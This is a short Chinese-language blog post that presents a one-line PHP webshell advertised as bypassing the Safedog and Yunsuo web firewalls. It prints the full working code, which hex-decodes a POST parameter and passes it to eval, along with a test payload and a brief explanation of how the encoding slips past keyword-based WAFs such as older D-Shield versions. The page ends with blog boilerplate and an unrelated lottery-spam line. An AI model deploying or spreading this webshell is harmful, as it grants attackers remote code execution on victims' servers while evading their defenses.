?

Dec 07 2017

過狗過云鎖一句話

首頁 » 原創作品 » 過狗過云鎖一句話   

這幾個月 沒什么東西寫 東西都是轉載 哈哈哈 最近更新一些原創吧。


今天在群里面看到一些機油討論一些話題。


看到一個據說是過狗過云鎖的一句話。


<?php error_reporting(0);set_time_limit(0);$a=$_POST["x"];if($a){$a=str_replace(array("\n","\t","\r"),"",$a);$b="";for($i=0;$i<strlen($a);$i+=2)$b.=urldecode("%".substr($a,$i,2));eval($b);exit;};?>


測試 x=706870696E666F28293B



1.png



這個腳本的意思是

每次取兩個

例如第一次 70  加上這個%符號 url 解碼 就是p

<?php
echo urldecode("%70");
?>

然后每次拼接 phpinfo():


可以繞過一些post 連接 phpinfo() 關機鍵的waf 例如低版本d盾



如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «Burp1.7.26 永久版本 | PHP 函數漏洞總結»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖